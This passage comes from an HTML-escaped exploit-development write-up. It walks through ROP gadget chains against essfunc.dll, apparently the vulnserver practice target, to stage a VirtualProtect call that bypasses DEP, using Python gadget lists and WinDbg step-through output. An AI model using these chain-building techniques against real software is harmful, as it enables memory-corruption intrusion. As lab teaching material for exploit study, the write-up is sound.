  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop r32&lt;/code&gt; - Clears the return address that was pushed by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; operation.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop r32&lt;/code&gt; - Clears the value written onto the stack by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov [esp+0x00], eax&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; - Proceeds to the next gadget in the chain.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We’re in luck again, as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;essfunc&lt;/code&gt; module contains several &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop/pop/ret&lt;/code&gt; instructions, such as:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x625012f6: pop edi ; pop ebp ; ret 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, the sequence of gadgets would look something like this:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625012f7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebp ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625012f6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop edi ; pop ebp ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6250103d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62507120&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# VirtualProtect IAT
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501e30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov eax,  [ebx] ; mov  [esp+0x00], eax ; call ebp
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x42424242&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk to be overwritten by [esp + 0x00]
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501d08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ! int3 (breakpoint instruction) 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After incorporating this gadget chain into the proof-of-concept buffer, it’s behavior can be observed in the debugger. At the first breakpoint:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Breakpoint 0 hit
...
essfunc+0x12f7:
625012f7 5d              pop     ebp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Upon stepping over, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBP&lt;/code&gt; now points to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop/pop/ret&lt;/code&gt; gadget:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; u ebp L3
essfunc+0x12f6:
625012f6 5f              pop     edi
625012f7 5d              pop     ebp
625012f8 c3              ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The next gadget: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop ebx ; ret&lt;/code&gt; loads the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IAT&lt;/code&gt; entry address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt;, which is confirmed by stepping over it:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; r ebx
ebx=62507120
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, the critical instruction that dereferences the DWORD from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;62501e30 8b03            mov     eax,dword ptr [ebx] 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Stepping over it confirms that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; now holds the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; stub:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; u eax
KERNEL32!VirtualProtectStub:
77db5c80 8bff            mov     edi,edi
77db5c82 55              push    ebp
77db5c83 8bec            mov     ebp,esp
77db5c85 5d              pop     ebp
77db5c86 ff251888e177    jmp     dword ptr [KERNEL32!_imp__VirtualProtect (77e18818)]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now comes the problematic instruction:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;62501e32 890424          mov     dword ptr [esp],eax
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s verify that the stack value to be overwritten is the placeholder value that was included in the chain for this specific purpose:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; dd esp L1
00e9fa18  42424242
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, the make-or-break instruction:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;62501e35 ffd5            call    ebp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Stepping into the call and examining the stack reveals:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; dd esp L3
00e9fa14  62501e37 77db5c80 62501d08
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first address aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x62501e37&lt;/code&gt; is the return address in which the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call ebp&lt;/code&gt; instruction pushed onto the stack. Following that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x77db5c80&lt;/code&gt; is the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; stub which made it onto the stack due to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov  [esp+0x00], eax&lt;/code&gt; instruction. Finally &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x62501d08&lt;/code&gt; is the next gadget in our chain that we would like to reach.&lt;/p&gt;

&lt;p&gt;As we step through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop/pop/ret&lt;/code&gt; instructions, the stack realigns perfectly:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;625012f6 5f   pop edi  -&amp;gt; pops 0x62501e37 into EDI
625012f7 5d   pop ebp  -&amp;gt; pops 0x77db5c80 into EBP
625012f8 c3   ret      -&amp;gt; returns to 0x62501d08
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In conclusion, we’ve successfully repurposed a gadget that, under most other circumstances, would have been unsuitable. It now effectively achieves the targeted action of dereferencing a pointer into a register.&lt;/p&gt;

&lt;h3 id=&quot;overriding-the-first-placeholder&quot;&gt;Overriding the first placeholder&lt;/h3&gt;

&lt;p&gt;After successfully obtaining the runtime address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; stub, the next objective is to weave this into the ‘skeleton’ that will invoke the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; call.&lt;/p&gt;

&lt;p&gt;Here’s a quick refresher on how the ‘skeleton’ is structured:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;- VirtualProtect Address
- Return Address // start of shellcode address
- lpAddress // start of shellcode (same as above)
- dwSize // 0x01
- flNewProtect // 0x1000
- lpflOldProtect // any valid arbitrary pointer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our next hurdle involves finding a gadget that performs the opposite of the one we’ve just discussed—specifically, moving a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; into a pointer, in other words:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov [r32], r32
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The two involved registers must be different in this case. The source register should contain the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; address, while the destination register will point to the beginning of the skeleton.&lt;/p&gt;

&lt;p&gt;To expedite the gadget search, using a regular expression like the one below can be helpful:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov\s\s\[e\w\w\],\se\w\w
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This query yields four gadgets that match:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x62501ea0: and al, 0x20 ; mov  [esp+0x00], 0x62505388 ; mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]
0x62501ea9: mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC] 
0x62501ea2: mov  [esp+0x00], 0x62505388 ; mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]
0x62501e9e: mov eax,  [esp+0x20] ; mov  [esp+0x00], 0x62505388 ; mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Upon closer inspection, these gadgets turn out to be variations of the same core instruction set, all containing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov [ebx], eax&lt;/code&gt; at the same address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x62501ea9&lt;/code&gt;. Unfortunately, these gadgets seem problematic, particularly due to the call to a seemingly arbitrary pointer.&lt;/p&gt;

&lt;p&gt;In scenarios where a gadget might introduce unintended effects—such as an arbitrary call instruction—it’s wise to search for alternative options, like:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;push eax
pop [ebx]
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note: There are a few more esoteric gadgets that can achieve the behavior however they rely on the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; of the pointing referenced by the destination register to be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Despite the search, no suitable alternatives were discovered, leaving us with the initial problematic gadget:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC] 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, the pressing question is, how to handle the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call [0x625070DC]&lt;/code&gt; instruction? Fortunately, since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ASLR&lt;/code&gt; is not enabled on this module, and given the unique preferred base address, the pointer at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x625070DC&lt;/code&gt; will be valid every time &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;essfunc.dll&lt;/code&gt; is loaded into memory.&lt;/p&gt;

&lt;p&gt;By leveraging the approach we took in the previous challenge, we can manipulate the memory in a way that makes the pointer at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x625070DC&lt;/code&gt; point to a gadget simulating a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction. Just like we saw before, invoking a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; instruction will push the subsequent instruction’s address onto the stack to act as a return address. The gadget we choose must then execute this specific sequence:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pop r32 // pop return address into scratch register
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, how do we modify the pointer to direct to this gadget? We employ a slight variation of the pattern we used before:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pop r32 ; ret
0x625070DC
// r32 now holds the pointer

pop r32; ret (different register than the earlier one)
0x12345678
// pop address of gadget that will perform pop/ret intruction (can be the same address of the pop r32; ret gadget 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Curiously, we find ourselves back at the initial issue - we need a gadget capable of storing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; into a pointer. In a rather meta-ironic twist, we’ll use the same gadget that we’re attempting to manipulate:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC] 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This results in the following sequence of gadgets:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014fc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625070DC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ebx will be 0x625070DC 
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014d5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop eax ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625012f7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebp; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501ea9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Incorporating this into the proof of concept, we can step through the debugger to get a btter understanding of what is happening.&lt;/p&gt;

&lt;p&gt;The first executed instruction is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop ebx ; ret&lt;/code&gt;. Skipping past this instruction reveals that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; holds the pointer’s address:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:004&amp;gt; r @ebx
ebx=625070dc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, we encounter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop eax ; ret&lt;/code&gt;. Stepping over this shows that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; now holds another gadget’s address, namely &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop ebp ; ret&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:004&amp;gt; u eax
essfunc+0x12f7:
625012f7 5d              pop     ebp
625012f8 c3              ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The upcoming instruction is the very gadget we’ve been diligently searching for:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;62501ea9 8903  mov  dword ptr [ebx],eax 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After stepping over it, lets examine the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; referenced by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[EBX]&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:004&amp;gt; u poi(ebx)
essfunc+0x12f7:
625012f7 5d              pop     ebp
625012f8 c3              ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It now houses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop r32; ret gadget&lt;/code&gt;!&lt;/p&gt;

&lt;p&gt;The subsequent instruction seems complex, but is actually innocuous. It simply overwrites &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[ESP + 0x24]&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;62501eab 8b442424 mov eax,dword ptr [esp+24h]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In our scenario, this is harmless, but it does mean &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; must be considered a scratch register (circling back to what was alluded near the beginning of the writeup).&lt;/p&gt;

&lt;p&gt;The next executed instruction, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov dword ptr [ebx+4],eax&lt;/code&gt;, changes the second &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; pointed to by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt;, but this is inconsequential.&lt;/p&gt;

&lt;p&gt;Finally, we arrive at the much-anticipated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call [0x625070DC]&lt;/code&gt; instruction, let’s observe the instruction right after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; and then step into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; to see its inner workings:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:004&amp;gt; u eip L2
essfunc!EssentialFunc14+0x8e8:
62501eb2 ff15dc705062    call    dword ptr [essfunc!EssentialFunc14+0x5b12 (625070dc)]
62501eb8 a180535062      mov     eax,dword ptr [essfunc!EssentialFunc14+0x3db6 (62505380)]

0:004&amp;gt; t

0:004&amp;gt; dds esp L2
0103fa14  62501eb8 essfunc!EssentialFunc14+0x8ee  &amp;lt;---- return address of the instruction after the call
0103fa18  62501d08 essfunc!EssentialFunc14+0x73e  &amp;lt;---- address of the next gadget in the chain

625012f7 5d   pop ebp

0:004&amp;gt; t
// EBP clears 0x62501eb8 from the stack

625012f8 c3   ret

